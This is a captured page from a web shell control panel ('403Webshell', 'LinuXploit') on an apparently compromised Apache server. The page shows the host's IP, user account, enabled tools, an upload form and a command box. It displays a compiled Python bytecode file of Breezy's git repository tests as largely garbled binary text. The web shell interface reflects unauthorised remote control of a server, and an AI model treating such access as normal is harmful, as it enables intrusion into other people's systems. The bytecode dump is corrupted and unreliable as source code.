403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/git/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/git/tests/__pycache__/test_repository.cpython-313.pyc
�

p��g�0���SrSSKrSSKrSSKJr SSKJrJrJ	r	 SSK
JrJr SSKJ
r
J
r
Jr SS	KJr SS
KJr SSKJr "SS
\R*5r"SS\R.5r"SS\R.5r"SS\R.5r"SS\R65r"SS\R.5r"SS5rg)z,Tests for interfacing with a Git Repository.�N)�Repo�)�config�errors�revision)�InterRepository�
Repository�)�dir�
repository�tests)�default_mapping)�BazaarObjectStore)�MissingObjectsIteratorc�Z�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�TestGitRepositoryFeatures�!z Feature tests for GitRepository.c��[R"5nURSSS5 URSS5nUR	5nX2$�N�astext for a
F�Joe Foo <joe@foo.com>�message�r
�GitBranchBuilder�set_file�commit�finish��self�builder�
commit_handle�mappings    �B/usr/lib/python3/dist-packages/breezy/git/tests/test_repository.py�
_do_commit�$TestGitRepositoryFeatures._do_commit$�H���(�(�*��������6����'?��L�
��.�.�"���%�%�c��[R"UR5 [R"S5nURU[R5 g�N�.)�GitRepo�init�test_dirr	�open�assertIsInstancer�
GitRepository�r�repos  r#�test_open_existing�,TestGitRepositoryFeatures.test_open_existing+s6�����T�]�]�#����s�#�����d�J�$<�$<�=r'c���[R"UR5 [R"S5nURUR[RR5 gr))
r+r,r-r	r.r/�_git�dulwichr2�BaseRepor1s  r#�test_has_git_repo�+TestGitRepositoryFeatures.test_has_git_repo1s>�����T�]�]�#����s�#�����d�i�i����)>�)>�?r'c�<�[R"UR5 UR5n[R
"S5nUR
URS55 [R"U5nURURU55 g�Nr*sfoobar)r+r,r-r$r	r.�assertFalse�has_revisionr�revision_id_foreign_to_bzr�
assertTrue�r�	commit_idr2�revids    r#�test_has_revision�+TestGitRepositoryFeatures.test_has_revision7sl�����T�]�]�#��O�O�%�	����s�#������*�*�9�5�6��:�:�9�E������)�)�%�0�1r'c�X�[R"UR5 UR5n[R
"S5nUR
[5URS/55 [R"U5nUR
U1URSU/55 gr<)r+r,r-r$r	r.�assertEqual�set�
has_revisionsrr?rAs    r#�test_has_revisions�,TestGitRepositoryFeatures.test_has_revisions?s}�����T�]�]�#��O�O�%�	����s�#�������� 2� 2�I�;� ?�@��:�:�9�E�����%��$�"4�"4�i��5G�"H�Ir'c��[R"UR5 UR5n[R
"U5n[R"S5nURU5nURU[R5 gr))r+r,r-r$rr?r	r.�get_revisionr/r�Revision)rrBrCr2�revs     r#�test_get_revision�+TestGitRepositoryFeatures.test_get_revisionGsf��	���T�]�]�#��O�O�%�	� �:�:�9�E�����s�#������&�����c�8�#4�#4�5r'c���[R"UR5 [R"S5nUR[RURS5 g)Nr*sbla)	r+r,r-r	r.�assertRaisesr�NoSuchRevisionrMr1s  r#�test_get_revision_unknown�3TestGitRepositoryFeatures.test_get_revision_unknownTs>�����T�]�]�#����s�#�����&�/�/��1B�1B�F�Kr'c�L�[R"UR5 [R"5nURSSS5 URSSS5 UR
SS5 URS	S
S5 URSSS
S9nUR5nX2$)Nsdata�text
Fs
executablescontentTslinksbrokenssubdir/subfilessubdir text
rr�is�G)�	timestamp)	r+r,r-r
rr�set_symlinkrrrs    r#�
simple_commit�'TestGitRepositoryFeatures.simple_commitZs������T�]�]�#��(�(�*������)�U�3�����
�D�9����G�Y�/����*�,<�e�D����$�j�J�'�
�
��.�.�"���%�%r'c�p�UR5 [R"S5nUR5 gr))r\r	r.�packr1s  r#�	test_pack�#TestGitRepositoryFeatures.test_packhs%���������s�#���	�	�r'c���UR5 [R"S5nUR5 UR	5 UR5 UR
[URRR5S:�5 SSS5 UR[URRR5S5 g!,(df   NH=f)Nr*r)r\r	r.r_�	lock_read�all_revision_idsr@�lenr6�object_store�_pack_cacherGr1s  r#�test_unlock_closes�,TestGitRepositoryFeatures.test_unlock_closesms����������s�#���	�	��
�^�^�
��!�!�#��O�O�C��	�	� 6� 6� B� B�C�a�G�H��	
����T�Y�Y�3�3�?�?�@�!�D��
�s
�AC�
C#c� �UR5n[R"U5n[R"S5nURU5nUR
UR5U5 UR
SURS55 g)Nr*rX�data)	r\rr?r	r.�
revision_treerG�get_revision_id�
get_file_text)rrBrCr2�trees     r#�test_revision_tree�,TestGitRepositoryFeatures.test_revision_treevsr���&�&�(�	��:�:�9�E�����s�#���!�!�%�(������-�-�/��7�����D�$6�$6�v�$>�?r'�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r$r3r9rDrJrPrUr\r`rhrp�__static_attributes__rrr'r#rr!sA��*�&�>�@�2�J�6�L�&��
E�@r'rc�V�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rg)�TestGitRepository�c��[R"5nURSSS5 URSS5nUR	5nX2$rrrs    r#r$�TestGitRepository._do_commit�r&r'c���[RRU5 [RR
R
UR5 [R"UR5Ul
g�N)r
�TestCaseWithTransport�setUpr7r2r�creater-r	r.�git_repo�rs r#r��TestGitRepository.setUp�sF��
�#�#�)�)�$�/������ � ����/�"����
�
�6��
r'c�\�URnURUR5S5 g)NT)r�rG�supports_rich_rootr1s  r#�test_supports_rich_root�)TestGitRepository.test_supports_rich_root�s$���}�}������0�0�2�D�9r'c��UR[RURR[
R5 gr)rSrrTr��get_signature_textr�
NULL_REVISIONr�s r#�test_get_signature_text�)TestGitRepository.test_get_signature_text�s/������!�!��M�M�,�,��"�"�	
r'c�v�URSURR[R55 g)NF)rGr��has_signature_for_revision_idrr�r�s r#�"test_has_signature_for_revision_id�4TestGitRepository.test_has_signature_for_revision_id�s*������4�=�=�>�>�x�?U�?U�V�	
r'c�X�UR/URR55 gr)rGr�rdr�s r#�test_all_revision_ids_none�,TestGitRepository.test_all_revision_ids_none�s������T�]�]�;�;�=�>r'c
��UR5n[R"U5nURR	U/5nUR[
U/5URU/55 URUSSS4/URU5Vs/sH1nURURURUR4PM3 sn5 gs snf)Nr)�T)
r$rr?r��get_known_graph_ancestryrG�	frozenset�heads�
merge_sort�key�merge_depth�revno�end_of_merge)r�cidrC�g�ns     r#�test_get_known_graph_ancestry�/TestGitRepository.test_get_known_graph_ancestry�s����o�o����:�:�3�?���M�M�2�2�E�7�;������E�7�+�Q�W�W�e�W�-=�>�����Q��d�
#�$����e�,�
�,�A�����
�
�q�w�w����?�,�
�	
��
s�8C
c��UR5nUR[R"U5/URR55 gr)r$rGrr?r�rd)rrBs  r#�test_all_revision_ids�'TestGitRepository.test_all_revision_ids�s=���O�O�%�	����
�
7�
7�	�
B�C��M�M�*�*�,�	
r'c���URURS5 URUR[R5 UR[UR
55/5 gr)rG�root�revision_idrr��list�iter_entries)r�invs  r#�assertIsNullInventory�'TestGitRepository.assertIsNullInventory�sN��������4�(�������(�*@�*@�A�����c�.�.�0�1�2�6r'c��URnUR[R5nUR	UR5[R5 gr)r�rlrr�rGrm)rr2ros   r#�test_revision_tree_none�)TestGitRepository.test_revision_tree_none�s@���}�}���!�!�(�"8�"8�9������-�-�/��1G�1G�Hr'c��UR[RS0URR	[R/55 g)Nrr)rGrr�r��get_parent_mapr�s r#�test_get_parent_map_null�*TestGitRepository.test_get_parent_map_null�s9�����
�
#�
#�R�(��M�M�(�(�(�*@�*@�)A�B�	
r')r�N)rsrtrurvr$r�r�r�r�r�r�r�r�r�r�rxrrr'r#rzrzs:��&�7�
:�
�
�
?�
�
�7�
I�
r'rzc��\rSrSrSrSrg)�SigningGitRepository��c�8^�SSKmTRRnURSSS9nURnURSSS9nUR
URRU55 TRRTRl[R"S5nURUSSS	9nU4S
jnURURRU5[5 UTRlg!UTRlf=f)Nrr*�git��format�baseT)�allow_pointlesss
create_signatures=always
)r�messager�c�X>�TRRS5RU5$r)�gpg�LoopbackGPGStrategy�sign)�text�breezys �r#r��5SigningGitRepository.test_signed_commit.<locals>.sign�s#����z�z�5�5�d�;�@�@��F�Fr')�
breezy.gpgr��GPGStrategy�make_branch_and_tree�branchrr=rr�r�r�MemoryStackr/r��bytes)	r�oldstrategy�wtr�rC�conf�revid2r�r�s	        @r#�test_signed_commit�'SigningGitRepository.test_signed_commit�s������j�j�,�,��
�
&�
&�s�5�
&�
9�������	�	�&�$�	�7������*�*�H�H��O�P�	1�%+�Z�Z�%C�%C�F�J�J�"��%�%�'��D��Y�Y�d�F�D�Y�Q�F�
G�
�!�!�&�"3�"3�"F�"F�v�"N�PU�V�%0�F�J�J�"��[�F�J�J�"�s
�3BD�DrrN)rsrtrurvr�rxrrr'r#r�r��s��1r'r�c�2�\rSrSrSrSrSrSrSrSr	g)	�RevpropsRepository��c�*�URSSS9nURSSSS0S9nURRR	U5 [
RRS5nURS	X3R5R5 g)
Nr*r�r�r�T�author�Joe Example <joe@example.com>�r��revprops�Joe Example <joe@example.com>�r�rr�rrMr7r2rrG�headr��rr�rC�rs    r#�test_author�RevpropsRepository.test_author�s���
�
&�
&�s�5�
&�
9���	�	�� �� ?�@��
��
	�	�	���)�)�%�0��L�L���c�"�����9�1�V�V�X�;�;M�;M�Nr'c�*�URSSS9nURSSSS0S9nURRR	U5 [
RRS5nURS	X3R5R5 g)
Nr*r�r�r�T�authorsr�r�r�r�r�s    r#�test_authors_single_author�-RevpropsRepository.test_authors_single_author�s���
�
&�
&�s�5�
&�
9���	�	�� ��!@�A��
��
	�	�	���)�)�%�0��L�L���c�"�����9�1�V�V�X�;�;M�;M�Nr'c�j�URSSS9nUR[URSSSS0S9 g)	Nr*r�r�r�Tr�z:Joe Example <joe@example.com>
Jane Doe <jane@example.com
>r�)r�rS�	Exceptionr)rr�s  r#�test_multiple_authors�(RevpropsRepository.test_multiple_authors�sG��
�
&�
&�s�5�
&�
9�������I�I�� ��0��	�		
r'c�*�URSSS9nURSSSS0S9nURRR	U5 [
RRS5nURS	X3R5R5 g)
Nr*r�r�r�T�bugsz3https://github.com/jelmer/dulwich/issues/123 fixed
r�s:base

Fixes: https://github.com/jelmer/dulwich/issues/123
)r�rr�rrMr7r2rrGr�r�r�s    r#�	test_bugs�RevpropsRepository.test_bugss���
�
&�
&�s�5�
&�
9���	�	�� ��T�U��
��
	�	�	���)�)�%�0��L�L���c�"�����L�
�f�f�h�K���	
r'c��URSSS9nURSSSS0S9nURRR	U5 [
RRS5nURX3R5RS	5 URS
X3R5R5 g)Nr*r�r�r�Tr�zFJelmer Vernooij <jelmer@example.com>
Martin Packman <bz2@example.com>
r�s$Jelmer Vernooij <jelmer@example.com>s7base

Co-authored-by: Martin Packman <bz2@example.com>
)r�rr�rrMr7r2rrGr�r�r�r�s    r#�test_authors�RevpropsRepository.test_authorss���
�
&�
&�s�5�
&�
9���	�	�� ��9���	
��	�	�	���)�)�%�0��L�L���c�"������6�6�8��+�+�-T�U����I�
�f�f�h�K���	
r'rrN)
rsrtrurvr�r�r�r�r�rxrrr'r#r�r��s��	O�	O�
�
�
r'r�c�.^�\rSrSrU4SjrSrSrU=r$)�GitRepositoryFormati$c�V>�[TU]5 [R"5Ulgr)�superr�rr�r�)r�	__class__s �r#r��GitRepositoryFormat.setUp%s���
��
�� �4�4�6��r'c�X�URSURR55 g)NzGit Repository)rGr��get_format_descriptionr�s r#�test_get_format_description�/GitRepositoryFormat.test_get_format_description)s �����)�4�;�;�+M�+M�+O�Pr'r�)rsrtrurvr�r�rx�
__classcell__)r�s@r#r�r�$s���7�Q�Qr'r�c�6�\rSrSrSrSrSrS	SjrSrSr	g)
�RevisionGistImportTestsi-c��[RRU5 [RRURS5Ul[R"UR5 [RRRUR5 [R"UR5UlUR!S5Ulg)Nr��bzr)r
r�r��os�path�joinr-�git_path�mkdirr7r2rr�r	r.r�r��bzr_treer�s r#r��RevisionGistImportTests.setUp.s���
�#�#�)�)�$�/������T�]�]�E�:��
�
������������ � ����/�"����
�
�6��
��1�1�%�8��
r'c��[R"URRRUR
5$r)r�getrr�rr�r�s r#�	get_inter�!RevisionGistImportTests.get_inter6s)���"�"�4�=�=�#7�#7�#B�#B�D�M�M�R�Rr'c��[URRR[5n[XRRR5nX4$r)rrr�rrr)r�store�store_iterators   r#�object_iter�#RevisionGistImportTests.object_iter9sA��!�$�-�-�"6�"6�"A�"A�?�S��/��}�}�7K�7K�7V�7V�W���$�$r'Nc���UR5up4URRR5 UR	USS9$! URRR
5 e=f)NT)�lossy)r�_cache�idmap�start_write_group�import_revision�commit_write_group�abort_write_group)rrC�
parent_lookupr
�
store_iters     r#�
import_rev�"RevisionGistImportTests.import_rev>sd�� �,�,�.���
�����,�,�.�	4��-�-�e�4�-�@�@��	��L�L���0�0�2��s�A�'A/c��URRSSSSS9nURSURU55 URSURU55 g)N�	pointlessrYrz"Jelmer Vernooij <jelmer@samba.org>)rZ�timezone�	committers(2caa8094a5b794961cd9bf582e3e2bb090db0b14)rrrGr)rrCs  r#�test_pointless�&RevisionGistImportTests.test_pointlessIsc���
�
�$�$�� ��:�	%�
��	
���7�����9O�	
�	
���7�����9O�	
r')rrr�r)
rsrtrurvr�r
rrr!rxrrr'r#r�r�-s��9�S�%�
	4�
r'r�c��\rSrSrSrSrg)�ForeignTestsRepositoryFactoryiXc�f�[R"5RU5R5$r)r�LocalGitControlDirFormat�initialize_on_transport�open_repository)r�	transports  r#�make_repository�-ForeignTestsRepositoryFactory.make_repositoryYs&���(�(�*�
$�
$�Y�
/�
�_�
�	
r'rrN)rsrtrurvr*rxrrr'r#r$r$Xs��
r'r$)rwrr7�dulwich.reporr+�rrrrrr	rr
r"rrfr�pushr�TestCaseInTempDirrr�rzr�r��TestCaser�r�r$rrr'r#�<module>r1s���$3�	��(�(�(�5�%�%�%�,�)�[@�� 7� 7�[@�|C
��3�3�C
�L1�5�6�6�1�0D
��4�4�D
�NQ�%�.�.�Q�(
�e�9�9�(
�V
�
r'

Youez - 2016 - github.com/yon3zu
LinuXploit